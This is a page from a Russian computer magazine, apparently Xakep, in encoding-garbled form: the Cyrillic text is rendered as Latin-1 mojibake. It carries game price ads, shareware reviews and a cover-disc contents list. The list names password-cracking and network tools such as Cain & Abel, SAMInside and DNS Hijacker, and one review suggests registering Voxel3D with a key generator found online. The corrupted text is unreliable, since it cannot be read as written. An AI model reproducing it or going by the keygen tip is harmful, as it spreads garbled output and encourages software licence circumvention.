òîáîé ïîñòàâèëè êóäà áîëåå<br />
ñëîæíóþ è íåîáû÷íóþ çàäà÷ó.<br />
Êàê-íèêàê, à ïîñòðîèòü îñòðîâïðèòîí<br />
äëÿ ïèðàòîâ - çàäà÷à<br />
íåïðîñòàÿ è íåîðäèíàðíàÿ. Ñ<br />
ïåðâîãî âçãëÿäà âèäíà êîëîññàëüíàÿ<br />
ðàáîòà ñöåíàðèñòîâ, õóäîæíèêîâ<br />
è ðàçðàáîò÷èêîâ. Âñå<br />
âûïîëíåíî íà âûñøåì óðîâíå.<br />
Ðåêîìåíäóþ!<br />
$79.99 $79.99 $79.99<br />
Grand Theft Auto:<br />
Vice City<br />
Star Wars<br />
Galaxies: An<br />
Empire Divided<br />
EVE Online: The<br />
Second Genesis<br />
$79,99<br />
The Matrix :<br />
Enter The Matrix<br />
Tropico 2: Pirate Cove<br />
Ýêîíîìè÷åñêèé ñèìóëÿòîð<br />
Tropico<br />
Frog City Software/Gathering<br />
P2-300(P3-600), 128(512), 3D<br />
Îáëîìèñü<br />
Íà ðåäêîñòü óäà÷íûé ñèêâåë ýêîíîìè÷åñêîãî<br />
ñèìóëÿòîðà. Â ýòîò<br />
ðàç îáû÷íûì òóðèñòè÷åñêèì îñòðîâîì<br />
òû íå îòäåëàåøüñÿ, ïåðåä<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
Las Vegas Casino Player’s<br />
Collection<br />
Êàçèíî<br />
Microsoft Casino<br />
ValuSoft/Antidote Entertainment<br />
P2-300(P3-500), 64(128)<br />
Îáëîìèñü<br />
Âñåì ëþáèòåëÿì àçàðòíûõ èãð<br />
ïîñâÿùàåòñÿ... Ñðåäè ñâîèõ ìíîãî÷èñëåííûõ<br />
ñîáðàòüåâ ïî êîíâåéåðó<br />
LVCPC âûäåëÿåòñÿ ñâîåé<br />
ïðîäóìàííîñòüþ è çàâåðøåííîñòüþ.<br />
Çäåñü âñå âçàèìîñâÿçàíî,<br />
ïðîäóìàííî è ãðàìîòíî ðåàëèçîâàíî.<br />
Òåáÿ íàâåðíÿêà ïîðàäóþò<br />
è âñå âèäû ðàçâëå÷åíèé, è<br />
âåëèêîëåïíàÿ àíèìàöèÿ (îñîáåííî<br />
äåéñòâèÿ êðóïüå), è çâóêîâîå<br />
ñîïðîâîæäåíèå, îòëè÷íî ñîçäàþùåå<br />
àòìîñôåðó.<br />
5 Êîäèíã 6 Hack-Faq 7<br />
ÏÐÈÃÎÂÎÐ ÐÓËÅ(Ç)!<br />
Óðîæäåííàÿ<br />
Æàíð<br />
Ïîõîæåñòü<br />
Ìàòü/îòåö<br />
Òðåáóåò<br />
Ãðóïïîâóõà<br />
Îïèñóõà<br />
ÏÐÈÃÎÂÎÐ ÕÎÐÎØÎ<br />
$65.99 $15.99 $73,99<br />
$79.99<br />
WarCraft III: The<br />
Frozen Throne<br />
Neverwinter<br />
Nights: Shadows<br />
of Undrentide<br />
The Sims:<br />
Superstar<br />
Silent Hill 2<br />
Metal Gear<br />
Solid 2: Substance<br />
Deus Ex 2:<br />
Invisible War<br />
(DX2)<br />
PlanetSide<br />
$55.99 $39,99<br />
$79.99<br />
$75.99<br />
Republic:<br />
The Revolution<br />
Çàêàçû ïî èíòåðíåòó – êðóãëîñóòî÷íî!<br />
e-mail: sales@e-shop.ru<br />
Çàêàçû ïî òåëåôîíó ìîæíî ñäåëàòü<br />
ñ 10.00 äî 21.00 ñ ïîíåäåëüíèêà ïî ïÿòíèöó<br />
ñ 10.00 äî 19.00 ñ ñóááîòû ïî âîñêðåñåíüå<br />
(095) 928-6089 (095) 928-0360 (095) 928-3574
Þíèòû<br />
ØàðîWAREZ<br />
M.J.Ash (m.j.ash@real.xakep.ru)<br />
SRE|copy<br />
v 2.1<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 1880 Kb<br />
Freeware<br />
http://www.pinedanet.com/products/srecopy<br />
Ðàíüøå ÿ âñå âðåìÿ òàñêàë ñ ñîáîé ïàðî÷êó ïåðåçàïèñûâàåìûõ<br />
äèñêîâ, íî òåïåðü, ñîáðàâøèñü íàâåñòèòü êîãîíèáóäü<br />
èç äðóçåé, ÿ ïî÷òè âñåãäà áåðó ñ ñîáîé âèí÷. À ÷òî<br />
ïîäåëàòü Íîâûå èãðû, ôèëüìû, ìóçûêà - îáúåì èíôîðìàöèè,<br />
ïåðåõîäÿùåé èç ðóê â ðóêè, èçìåðÿåòñÿ íûí÷å ãèãàáàéòàìè.<br />
Íà ñèäþê åå ñáðàñûâàòü – òàê êîìïàêòîâ íå<br />
õâàòèò. Äà è ìåäëåííî ýòî. Äàæå ñ âèí÷åñòåðà íà âèí÷åñòåð<br />
êîïèðîâàòü è òî ìåäëåííî! Îñîáåííî åñëè òû çàðàç<br />
õî÷åøü êîïèðíóòü ãèãàáàéò ýòàê ïÿòüäåñÿò. À äàæå õîòÿ<br />
áû è äåñÿòü – âñå ðàâíî ïðîöåññ êîïèðîâàíèÿ çàòÿíåòñÿ<br />
ìèíóò íà äâàäöàòü. Çíàêîìàÿ ïðîáëåìêà, íå ïðàâäà ëè<br />
Òåì, äóìàþ, èíòåðåñíåå òåáå áóäåò óçíàòü, ÷òî ïðîöåññ<br />
ãðóïïîâîãî êîïèðîâàíèÿ ôàéëîâ ìîæíî ìàëîñòü óïðîñòèòü<br />
è, âîçìîæíî, óñêîðèòü, âîñïîëüçîâàâøèñü<br />
SRE|copy. Ýòà óòèëèòà ïîçâîëÿåò â ëþáîé ìîìåíò ïðèîñòàíàâëèâàòü<br />
ïðîöåññ êîïèðîâàíèÿ, äîáàâëÿòü â î÷åðåäü<br />
«çàáûòûå» ôàéëû, óäàëÿòü èç íåå «ëèøíèå». Îíà èäåàëüíî<br />
ïîäõîäèò äëÿ ñêà÷èâàíèÿ «òÿæåëûõ» ôàéëîâ ïî ëîêàëüíîé<br />
ñåòè, ïîñêîëüêó óìååò îãðàíè÷èâàòü ñêîðîñòü ïåðåäà÷è<br />
äàííûõ (ò.å. òû ìîæåøü ïîòèõîíå÷êó «ñîñàòü»<br />
ôàéëî, íå ââåðãàÿ ðîäíóþ LAN â ñîñòîÿíèå ñòóïîðà). Ïîìèìî<br />
îãðàíè÷èòåëåé ñêîðîñòè â íàñòðîéêàõ SRE|copy òû<br />
îáíàðóæèøü ïîëçóíêè äëÿ ðåãóëèðîâêè ðàçìåðîâ áóôåðà,<br />
âûäåëÿåìîãî ïðîãðàììîé äëÿ îïåðàöèè êîïèðîâàíèÿ.<br />
Ê òîìó æå â ãëàâíîì îêíå SRE|copy âûâîäèòñÿ ïîäðîáíåéøàÿ<br />
èíôîðìàöèÿ î õîäå âûïîëíåíèÿ ðàáîò, ïîñëå<br />
êîòîðîé íà ïðîãðåññ-áàð ñòàíäàðòíîãî îêîøêà «Êîïèðîâàíèå…»<br />
Windows õî÷åòñÿ ðóãàòüñÿ ìàòîì.<br />
Ïðîãðàììà ðàáîòàåò è êàê îòäåëüíîå ïðèëîæåíèå, è<br />
êàê äîâåñîê ê îïåðàöèîííîé ñèñòåìå. Â ïîñëåäíåì<br />
ñëó÷àå êîïèðîâàíèå/ïåðåíîñ ôàéëîâ ñ ïîìîùüþ<br />
SRE|copy ïðîèñõîäèò àâòîìàòè÷åñêè, åñëè â îêíå<br />
Ïðîâîäíèêà òû ïåðåòàñêèâàåøü ôàéëû, óäåðæèâàÿ<br />
ïðàâóþ êíîïêó ìûøè. Ïðè îáû÷íîì ïåðåòàñêèâàíèè –<br />
íàæàòèåì è óäåðæàíèåì ëåâîé êíîïêè - êîïèðîâàíèå<br />
ôàéëîâ ïî-ïðåæíåìó áóäåò îñóùåñòâëÿòüñÿ îáû÷íûì<br />
(äåäîâñêèì :)) ñïîñîáîì.<br />
Desktop Thermometer v 1.0<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 1042 Kb<br />
Shareware<br />
http://www.zepsoft.com/thermometer<br />
Çà îêíîì ëþáîãî ïðèëè÷íîãî äîìà äîëæåí âèñåòü<br />
òåðìîìåòð. Íî êàê áûòü ÷åëîâåêó, äëÿ êîòîðîãî<br />
ðîäíûì äîìîì äàâíî óæå ñòàëè Âèíäû<br />
Äà ëåãêî! Îí ìîæåò ïîâåñèòü ñåáå çà îêíà (ãäåíèáóäü<br />
ñ êðàþ Ðàáî÷åãî ñòîëà) ïðîãðàììíûé<br />
ýìóëÿòîð ýòîãî ïðèáîðà. Ó÷èòûâàÿ, ÷òî ñêîðî<br />
ëåòî, ÿ áû íàçâàë òàêîé ïîñòóïîê ðàçóìíûì.<br />
Âåäü íàñòîÿùèé êîìïüþòåðùèê, ñîáèðàÿñü íà<br />
óëèöó è ðåøàÿ, ÷òî íàäåòü - øîðòû èëè äîæäåâèê,<br />
íå âûãëÿäûâàåò â îêíî, à íàáèðàåò â áðîäèëêå<br />
www.gismeteo.ru :). Ìîæåò, ïðàâäà, âîçíèêíóòü<br />
ïðîáëåìà âûáîðà ïðàâèëüíîãî ñîôòà,<br />
íî òóò, êàê âñåãäà, ÿ ìîãó êîå-÷òî ïîñîâåòîâàòü.<br />
Íàäåþñü, òû íå èç òåõ ëþäåé, êîòîðûå ëþáÿò<br />
òàùèòü ñåáå â Âèíäû âñå ñàìîå íàâîðî÷åííîå<br />
ïðîñòî äëÿ òîãî, ÷òîáû áûëî Çíà÷èò íàñòîÿùèé<br />
Ìåòåîöåíòð, ïðîãíîçèðóþùèé ïîãîäó íà<br />
äâà ãîäà âïåðåä è ïîñòîÿííî òàñêàþùèé èç Ñåòè<br />
ñâåæèå ñïóòíèêîâûå ñíèìêè, òåáå íà ìàøèíå<br />
íà ôèã íå íóæåí. Îê! Äóìàþ, ãîðàçäî áîëüøèé èíòåðåñ äëÿ òåáÿ ïðåäñòàâëÿåò ïðîãðàììà Desktop<br />
Thermometer. Ýòî èìåííî òî, î ÷åì ÿ ãîâîðèë – îáû÷íûé âèðòóàëüíûé òåðìîìåòð. Íî! Åãî èíòåðôåéñ íà<br />
ðåäêîñòü ïðèÿòíûé, åãî ðàçìåðû è ðàñïîëîæåíèå ìîãóò áûòü ïðîèçâîëüíûìè, íó à ãëàâíîå - Desktop<br />
Thermometer ÷åðïàåò èíôîðìàöèþ î ñîñòîÿíèè îêðóæàþùåé ñðåäû èìåííî èç òåõ èñòî÷íèêîâ, êîòîðûå òû<br />
åìó óêàæåøü! Òî åñòü åñëè äðóãèå ïðîãè ìîãóò è íå çíàòü î ñóùåñòâîâàíèè òâîåãî ëþáèìîãî Õðåíçíàåòãäååâñêà<br />
(à áîëüøèíñòâó èç íèõ âîîáùå íàïëåâàòü íà þçåðîâ, æèâóùèõ çà ïðåäåëàìè ÑØÀ), òî óæ ñ Desktop<br />
Thermometer’îì ó òåáÿ òàêèõ ïðîáëåì íå áóäåò. Óêàæåøü åìó íóæíîå ìåñòî íà ñòðàíè÷êå èíôîðìàöèîííîãî<br />
ñàéòà ñâîåãî ãîðîäà – è äåëî â øëÿïå! Äîïóñòèì, çà ïðîãíîçîì ïîãîäû äëÿ Ïèòåðà ÿ èäó íà www.gismeteo.ru/weather/towns/26063.htm.<br />
Íà ýòîé ñòðàíè÷êå çíà÷åíèå òåêóùåé òåìïåðàòóðû îêðóæàþùåé ñðåäû<br />
èäåò ñðàçó çà ñëîâîì «Òåìïåðàòóðà». Ïîñëå óñòàíîâêè ïðîãðàììû ÿ âïèñàë â åå íàñòðîéêè ñîîòâåòñòâóþùèé<br />
URL, à ñòðî÷êó «Òåìïåðàòóðà» äîáàâèë â ïîëå «Search definition» (ïîñëå êîììåíòàðèåâ).  ïîëå<br />
«Current web page…», ðàñïîëîæåííîì íèæå è ñîäåðæàùåì òåêñò óêàçàííîé ìíîé âåá-ñòðàíèöû, ýòî ñòðîêà<br />
ìîìåíòàëüíî áûëà âûäåëåíà ñèíèì öâåòîì, à ñëåäóþùåå çà íåé ÷èñëîâîå çíà÷åíèå - êðàñíûì. Íà ýòîì<br />
íàñòðîéêà ïðîãðàììû áûëà çàêîí÷åíà. Desktop Thermometer ìîìåíòàëüíî îæèë è ñ òåõ ïîð âîò óæå äâå íåäåëè<br />
ïîêàçûâàåò ìíå ïðàâèëüíîå çíà÷åíèå òåìïåðàòóðû, ðåãóëÿðíî ïðîâåðÿÿ åãî ÷åðåç Ñåòü è âûäàâàÿ äîïîëíèòåëüíûå<br />
ïîäðîáíîñòè ïî äâîéíîìó êëèêó ìûøêîé.<br />
Voxel3D v 1.1.1<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 3259 Kb<br />
Shareware<br />
http://www.everygraph.com/product/voxel3d<br />
Ïðîñòîé âîêñåëüíûé 3D-ðåäàêòîð. Îáúåêòû â<br />
íåì ôîðìèðóþòñÿ íå èç ïîëèãîíîâ, à èç ìàëåíüêèõ<br />
êóáèêîâ - âîêñåëåé. Íà ïðàêòèêå ýòî<br />
îçíà÷àåò, ÷òî ïðè îïðåäåëåííîé óñèä÷èâîñòè<br />
äîñòàòî÷íî êà÷åñòâåííûå òðåõìåðíûå ìîäåëè<br />
â Voxel3D ìîãóò ñîçäàâàòü ñàìûå îáû÷íûå<br />
þçåðû. Îíî è ïîíÿòíî – âñå ìû â äåòñòâå ñòðîèëè<br />
äîìà èç êóáèêîâ è ñîáèðàëè ìàøèíû èç<br />
ïëàñòìàññîâûõ äåòàëåé êîíñòðóêòîðîâ âðîäå<br />
Ëåãî. À òóò âñå òî æå ñàìîå: çäåñü êóáèê óáðàë,<br />
òàì äîáàâèë, ñþäà ïîñòàâèë êðàñíûé, òóäà –<br />
ñèíèé. Òÿï-ëÿï è ãîòîâî. Êà÷åñòâî ìîäåëè çàâèñèò<br />
ëèøü îò ðàçìåðîâ ýòèõ ñàìûõ êóáèêîâ –<br />
÷åì îíè ìåíüøå, òåì ëó÷øå.<br />
Íà÷àòü ðàáîòó ñ Voxel3D î÷åíü ïðîñòî – ñîçäàåøü<br />
íîâûé ïðîåêò, âûáèðàåøü â ìåíþ Create<br />
ïóíêò Full Cubic 3D canvas, ïîëó÷àåøü òðåõìåðíûé<br />
êóá çàäàííîãî ðàçìåðà è íà÷èíàåøü<br />
îòñåêàòü îò íåãî âñå ëèøíåå. Âðàùåíèå è<br />
ïðèáëèæåíèå/óäàëåíèå âûïîëíÿåòñÿ ìûøêîé<br />
(Alt + ëåâàÿ êíîïêà - âðàùåíèå ìîäåëè, îäíîâðåìåííî<br />
ïðàâàÿ è ëåâàÿ êíîïêà ìûøè – Zoom).<br />
Âèä îïåðàöèè (Add voxel, Remove voxel, Paint voxel) âûáèðàåòñÿ íàæàòèåì íà ñîîòâåòñòâóþùóþ èêîíêó<br />
íà ïàíåëè èíñòðóìåíòîâ. Âîò, ñîáñòâåííî ãîâîðÿ, è âñå, ÷òî òåáå íåîáõîäèìî çíàòü íà ïåðâûõ ïîðàõ.<br />
Åñëè Voxel3D òåáå ïîíðàâèòñÿ – ÷èòàé ñïðàâêó è ðàçáèðàéñÿ äàëüøå ñàì. Ê ïðèìåðó, çàãîíè â ïðîãðàììó<br />
êàêóþ-íèáóäü ãîòîâóþ òðåõìåðíóþ ìîäåëü (.obj, .3ds, .lwo è äð.) è ïîïûòàéñÿ åå äîðàáîòàòü. Åñëè<br />
÷òî ïîëó÷èòñÿ – ïîïðîáóé ñîõðàíèòü ðåçóëüòàò ñâîèõ óñèëèé â ôîðìàòå obj, ïîíÿòíîì áîëüøèíñòâó<br />
«íîðìàëüíûõ» 3D-ðåäàêòîðîâ.<br />
Êñòàòè, íàñ÷åò îïåðàöèé ñîõðàíåíèÿ, ýêñïîðòà è èìïîðòà. Óâû, â øàðîâàðíîé âåðñèè îíè íåäîñòóïíû.<br />
Ïîýòîìó òåáå ëèáî ïðèäåòñÿ çàïëàòèòü äåíåæêó, ëèáî âîñïîëüçîâàòüñÿ äëÿ ðåãèñòðàöèè ãåíåðàòîðîì<br />
êëþ÷åé, êîòîðûé ìîæíî áåç îñîáûõ óñèëèé íàéòè â èíòåðíåòå.<br />
94
NetLimiter<br />
v 0.91 beta 3<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 488 Kb<br />
Shareware<br />
http://www.netlimiter.com<br />
Ïðîãðàììà äëÿ íàáëþäåíèÿ<br />
çà ïðèëîæåíèÿìè,<br />
èñïîëüçóþùèìè èíòåðíåò,<br />
à òàêæå äëÿ êîíòðîëÿ<br />
çà ñîçäàâàåìûì èìè<br />
òðàôèêîì. Ñ åå ïîìîùüþ<br />
ëþáîìó ïðèëîæåíèþ<br />
ìîæíî óñòàíîâèòü<br />
îãðàíè÷åíèÿ ñêîðîñòè<br />
ïðèåìà-ïåðåäà÷è èíôîðìàöèè.<br />
Ýòî çíà÷èò,<br />
÷òî îòíûíå ðàñïîðÿæàòüñÿ<br />
ïðîïóñêíîé ñïîñîáíîñòüþ<br />
êàíàëà ñâÿçè òû<br />
ìîæåøü ïî ñâîåìó óñìîòðåíèþ.<br />
À òî âåäü êàê<br />
áûâàåò: ñîåäèíåíèå,<br />
âðîäå, áûñòðîå (íàïðèìåð,<br />
ADSL), à âåá-ñòðàíè÷êè<br />
îòêðûâàþòñÿ åëå-åëå. Ïî÷åìó À ïîòîìó ÷òî ìåíåäæåð çàãðóçêè ïîäìÿë<br />
ïîä ñåáÿ âåñü êàíàë ñâÿçè (÷òî, êñòàòè, ñòàðàåòñÿ ñäåëàòü ëþáîå ïðèëîæåíèå<br />
Windows – òàê óæ îíè óñòðîåíû). Íåõîðîøî. Îòêðûâàåì NetLimiter<br />
è óêàçûâàåì, ÷òî êà÷àëêà ìîæåò ãðóçèòü ôàéëû ñî ñêîðîñòüþ, íå ïðåâûøàþùåé,<br />
ñêàæåì, 4 êèëîáàéòà â ñåêóíäó. Äåëî ñäåëàíî! Òåïåðü òâîé êîìïüþòåð<br />
è ôàéëû ïîòèõîíüêó èç Ñåòè ñëèâàåò, è âåá-ñàéòû ïîêàçûâàåò áåç ïðîáëåì.<br />
Êîíå÷íî, äèàëàïùèêàì îò NetLimiter îñîáîé ïîëüçû íåò – ïðîïóñêíàÿ<br />
ñïîñîáíîñòü êàíàëà íàñòîëüêî ìàëà, ÷òî ðàñïðåäåëÿòü ìåæäó ïðèëîæåíèÿìè,<br />
â îáùåì-òî, è íå÷åãî. Õîòÿ, â ïðèíöèïå, óòèëèòó ìîæíî èñïîëüçîâàòü â<br />
êà÷åñòâå ïåðåêëþ÷àòåëÿ – ñíà÷àëà îòäàâàòü âñþ ïðîïóñêíóþ ñïîñîáíîñòü<br />
îäíîìó ïðèëîæåíèþ, çàòåì – äðóãîìó.<br />
HiContact v 1.6<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 1525 Kb<br />
Shareware<br />
http://www.gemx.com<br />
Ìåíåäæåð êîíòàêòîâ -<br />
åùå îäíà ñèìïàòè÷íàÿ<br />
ïðîãðàììà, ñîçäàííàÿ ðåáÿòàìè<br />
èç GemX. Îíà<br />
ïðåäíàçíà÷åíà äëÿ ëþäåé<br />
ñ ïëîõîé ïàìÿòüþ. Õîòÿ,<br />
åñëè ïîäóìàòü, âîçìîæíîñòè<br />
HiContact íå îñòàâÿò<br />
ðàâíîäóøíûìè è ðàáîòíèêà<br />
îòäåëà êàäðîâ, è<br />
ïðîäâèíóòóþ äåâóøêó,<br />
ñêëîííóþ ê áåñïîðÿäî÷íûì<br />
ñâÿçÿì, è òîãî, êòî â<br />
äåòñòâå ëþáèë èãðàòü â<br />
ÍÊÂÄ, à òåïåðü ñòàðàòåëüíî<br />
ñîáèðàåò äîñüå íà ñîñåäåé<br />
è ñîñëóæèâöåâ :).<br />
Ãëàâíàÿ ïðåëåñòü ïðîãè çàêëþ÷àåòñÿ â òîì, ÷òî íà êàæäûé òâîé «êîíòàêò» îíà<br />
âûäåëÿåò íå îäíó ñòðàíè÷êó, à öåëîå ëè÷íîå äåëî. Ðàáîòàòü íàä çàïîëíåíèåì<br />
ñòðàíèö ýòîãî äåëà ìîæíî ãîäàìè, ïî êðóïèöàì ñîáèðàÿ èíôîðìàöèþ è<br />
ëþáîâíî çàíîñÿ åå â áàçó äàííûõ HiContact. Íà÷àòü ìîæíî ñ ñàìîãî ïðîñòîãî:<br />
èìÿ, ôàìèëèÿ, òåëåôîí. Çàòåì, âåðîÿòíî, ê ýòîé èíôå óäàñòñÿ äîáàâèòü àäðåñ,<br />
ôîòîãðàôèþ (èëè äàæå íàáîð ôîòîãðàôèé), ãîä è ìåñòî ðîæäåíèÿ, äàííûå<br />
î ñåìåéíîì ïîëîæåíèè... Îòäåëüíàÿ ñòðàíèöà ëþáîãî ëè÷íîãî äåëà ñëóæèò<br />
äëÿ õðàíåíèÿ èíôîðìàöèè î ôèíàíñîâîì ñîñòîÿíèè ÷åëîâåêà, åùå îäíà<br />
îòâîäèòñÿ ÷ëåíàì åãî ñåìüè. Íó è òàê äàëåå…<br />
Âòîðàÿ ôèøêà çàêëþ÷àåòñÿ â òîì, ÷òî òû ìîæåøü ïðîñìàòðèâàòü ñâîþ êàðòîòåêó<br />
îòäåëüíî ïî êàæäîìó òèïó çàïèñåé. Òî åñòü äåëà ñðàçó îòêðûâàþòñÿ íà<br />
âûáðàííîé ñòðàíèöå: õî÷åøü – ñìîòðè, êòî êîãäà ðîäèëñÿ èëè êòî ñêîëüêî çàðàáàòûâàåò.<br />
Òàêæå HiContact ìîæåò ïîõâàñòàòüñÿ ìåõàíèçìîì ïîëíîòåêñòîâîãî ïîèñêà ïî<br />
çàïèñÿì ñ ïîääåðæêîé ðóññêîãî ÿçûêà.<br />
Îòäåëüíûå äåëà ïðîãà ïîçâîëÿåò ðàñêëàäûâàòü ïî ïðîèçâîëüíûì ñòîïêàì<br />
(êàòàëîãàì), âûäåëÿòü öâåòîì (ïèêòîãðàììàìè) è ðàñïå÷àòûâàòü. Ïàðîëüíàÿ<br />
çàùèòà ó ýòîé ïðîãè òîæå èìååòñÿ…. Òàê ÷òî åñëè òåáÿ èíòåðåñóåò ñîôò ïîäîáíîãî<br />
ðîäà – êà÷àé HiContact, íå îøèáåøüñÿ. Âåäü íå äàðîì æå ãîâîðÿò,<br />
÷òî â íàøå âðåìÿ âñå ðåøàþò ëè÷íûå ñâÿçè.
Þíèòû<br />
ØàðîWAREZ<br />
M.J.Ash (www.xknows.com, m.j.ash@real.xakep.ru)<br />
Nmap 3.20<br />
NetCat 1.10<br />
SMTP Relay Checker 0.9.6b<br />
phpWebThings 6.0<br />
Galeon 1.2.9<br />
@stake Sleuth Kit (TASK) 1.60<br />
PHP-Nuke 6.5<br />
Libsafe v2.0-16<br />
Mutt 1.4.1<br />
eDonkey2000 0.48.1<br />
ed2k-gtk-gui 0.5<br />
DNS Hijacker 1.3<br />
Intrusion Detection Exchange<br />
Architecture (IDEA) 1.1.0<br />
Logwatch 4.3.2<br />
mnoGoSearch 3.2.10<br />
Sniffdet 0.8<br />
TBFirewall 3.1<br />
ÌÓÇÛÊÀ<br />
Chipdisk #3 / Razor 1911<br />
BRAINCrusher / [DLC]team<br />
Cyber-Shaman / angerine<br />
VER 05.03 (53)<br />
ÄÅÌÊÈ<br />
0010 1010 / Federation Against<br />
Nature<br />
Magia / The Black Lotus<br />
Pornooise / MFX & Lunix<br />
Protozoa / Kewlers<br />
Relais / Kolor<br />
Still Sucking Nature / Federation<br />
Against Nature<br />
Project Genesis / Conspiracy<br />
Looking For The East / Fuzzion<br />
Messenger Key 5.5<br />
Revelation 2.0<br />
SAMInside v2.0<br />
Advanced Instant Messengers<br />
Password Recovery 1.70<br />
CipherWall 1.5<br />
Genius 3.2.2<br />
NoTrax 1.3.0.4<br />
FakeDate for Win32 1.002<br />
Metis 2.1<br />
Cain & Abel 2.5beta29<br />
TightVNC for Windows 1.2.8<br />
PE Tools 1.4.419.200<br />
MP3Stego 1.1.16<br />
Cmos password recovery tools 4.2<br />
Loonies AdMiNt 2.2<br />
SXNetworker 3.0<br />
htm2chm 3.0.3<br />
Zero Assumption Recovery 7.3.0<br />
DVD2SVCD 1.1.3 build 2<br />
DVD Decrypter 3.1.5.0<br />
Advanced Audio CD Ripper 1.049c<br />
Áèáëèîòåêà ðåôåðàòîâ 1.0<br />
Rage3D Tweak 3.8c<br />
DivX 5.05 Pro<br />
ReGet Deluxe 3.3.178<br />
Net Block Pro RE 1.33<br />
CorelDRAW Graphics Suite 11<br />
Connectix Virtual PC 5.2<br />
Windows Application Compatibility<br />
Toolkit 3.0<br />
Nero Burning ROM 5.5.10.20 + WMP9<br />
plugin<br />
Virtual CD 5.0<br />
OpenOffice 1.0.3.1<br />
Opera 7.1<br />
Winamp 2.91<br />
Âàæíûé áàãôèêñ äëÿ IE<br />
TRASH<br />
Êîìïîíåíòû äëÿ Delphi è C++ Builder<br />
Ñîðöû ïðîã èç "Êîäèíãà"<br />
X-Wallpapers<br />
Ñïðàâî÷íèê ïî ðååñòðó Windows<br />
Íàðîäíûå ñîâåòû<br />
FAQ ïî DELPHI 2.5<br />
CheMax Rus 1.2<br />
ÄÐÀÉÂÅÐÀ<br />
Lucent<br />
NVIDIA<br />
VIA<br />
ATI<br />
SiS<br />
3COM<br />
System<br />
Recon v 2.1<br />
Windows 9x/Me/NT/2k/XP<br />
Size: 658 Kb<br />
Shareware<br />
http://systemrecon.triosade.com<br />
Ñèñòåìà äëÿ ïîèñêà ìàòåðèàëîâ ïîðíîãðàôè÷åñêîãî ñîäåðæàíèÿ.<br />
Íàòðàâëèâàåøü System Recon íà âåñü «Ìîé êîìïüþòåð»<br />
èëè íà êàêîé-ëèáî îòäåëüíûé äèñê, è îíà ïðîñìàòðèâàåò<br />
Cookies, çàêëàäêè, êýø è History áðàóçåðà, òåêñòîâûå äîêóìåíòû<br />
â ïîèñêàõ öåëîãî ðÿäà çàïðåùåííûõ ñëîâ. Ññûëêè íà ïîäîçðèòåëüíûå<br />
ôàéëû âûâîäÿòñÿ â ãëàâíîì îêíå. Îñîáàÿ ãîðäîñòü<br />
ðàçðàáîò÷èêîâ – ìåõàíèçì àíàëèçà èçîáðàæåíèé, ïðîâåðÿþùèé<br />
âñå îáíàðóæåííûå êàðòèíêè íà íàëè÷èå áîëüøèõ ïÿòåí<br />
öâåòà ÷åëîâå÷åñêîé êîæè. Êîíå÷íî, ëîæíûõ ñðàáàòûâàíèé õâàòàåò,<br />
íî óæ è ôîòêè äëÿ âçðîñëûõ îòëàâëèâàþòñÿ íà óðà. Óìåíüøåííûå<br />
êîïèè âñåõ ïîäîçðèòåëüíûõ èçîáðàæåíèé òàêæå âûâîäÿòñÿ<br />
â ãëàâíîì îêíå. Ñàìî ñîáîé, îêîí÷àòåëüíóþ ïðîâåðêó<br />
ïðèõîäèòñÿ âûïîëíÿòü ÷åëîâåêó. Îäíàêî, ñîãëàñèñü, ëåã÷å ïðîáåæàòüñÿ<br />
âçãëÿäîì ïî íåñêîëüêèì îáúåêòàì â îêîøêå è äâóìÿ<br />
êëèêàìè îòïðàâèòü â òðåø «ëèøíåå», ÷åì âûèñêèâàòü íåäîçâîëåííûé<br />
êîíòåíò íà ÷óæîé ìàøèíå âðó÷íóþ. Êîðî÷å ãîâîðÿ,<br />
System Recon – ñâîåîáðàçíûé ïîìîùíèê ëþáîãî àäìèíèñòðàòîðà.<br />
 äîìàøíåì æå õîçÿéñòâå ýòó ïðîãó òàêæå ïîëåçíî èìåòü<br />
ïîä ðóêîé íà òîò ñëó÷àé, åñëè òû âäðóã çàáóäåøü, â êàêîì êàòàëîãå<br />
êàêîãî èç òâîèõ ìíîãî÷èñëåííûõ äèñêîâ õðàíèòñÿ òâîÿ ëþáèìàÿ<br />
ïîäáîðêà ñ «âåñåëûìè êàðòèíêàìè» :).<br />
Êñòàòè, åñëè òû èíòåðåñóåøüñÿ ïðîãðàììàìè ïîäîáíîãî ðîäà<br />
(äîëæíîñòü ñèñàäìèíà îáÿçûâàåò èëè, äîïóñòèì, òû ïðîñòî íåíàâèäèøü<br />
ñåêñ âî âñåõ åãî ïðîÿâëåíèÿõ :)), îáðàòè âíèìàíèå íà<br />
óòèëèòó Snitch (www.hyperdynesoftware.com), î êîòîðîé íàø<br />
æóðíàë óæå êàê-òî ðàññêàçûâàë. Â íåé íàñòðîåê ïîáîëüøå áóäåò.<br />
Îäíà áåäà, Snitch âåñèò ìíîãîâàòî (ìåòðîâ øåñòü ñ ïîëîâèíîé)<br />
è ðàáîòàåò, èìõî, ìåäëåííåé, ÷åì System Recon. Ìåäëåííåé,<br />
íî òùàòåëüíåå :).<br />
ÑÎÔÒ<br />
SecuRE|copy 2.1<br />
Desktop Thermometer 1.0<br />
BookmarkHit 2.1<br />
HiContact 1.6<br />
NetLimiter 0.91 beta 3<br />
Popup Prank 1.0<br />
System Recon 2.1<br />
Voxel3D 1.1.1<br />
cdrLabel 7.0<br />
Zoom Player 3.0 PRO<br />
Screen Babe 2.1<br />
JavaGuard<br />
ProGuard 1.5.1<br />
RetroGuard 1.1<br />
JCloak<br />
JZipper<br />
DCompiler<br />
Mocha<br />
SourceTec<br />
Unisiemens 4.0<br />
SM45tools 1.2<br />
Siemens EEPROM tool 2.15<br />
Siemens XTNDConnect<br />
LC+4.01<br />
Whisper32 1.14<br />
PINs 4.50<br />
PINs450.exe<br />
Personal Passworder 3.5<br />
Password Agent 2.2.1<br />
DiFolders<br />
FolderWatch<br />
LogMon<br />
ICQ SMS Sender<br />
The Bee<br />
SMS Communicator<br />
CMD2SMS<br />
ICQ Forwarder<br />
SMSTation 0.60b<br />
SMS Sender 1.0beta<br />
MegaFon Moscow SMS Sender 1.0.74<br />
SMS Express 1.3.8<br />
SMS Live 1.0<br />
Text2Phone 1.6.4<br />
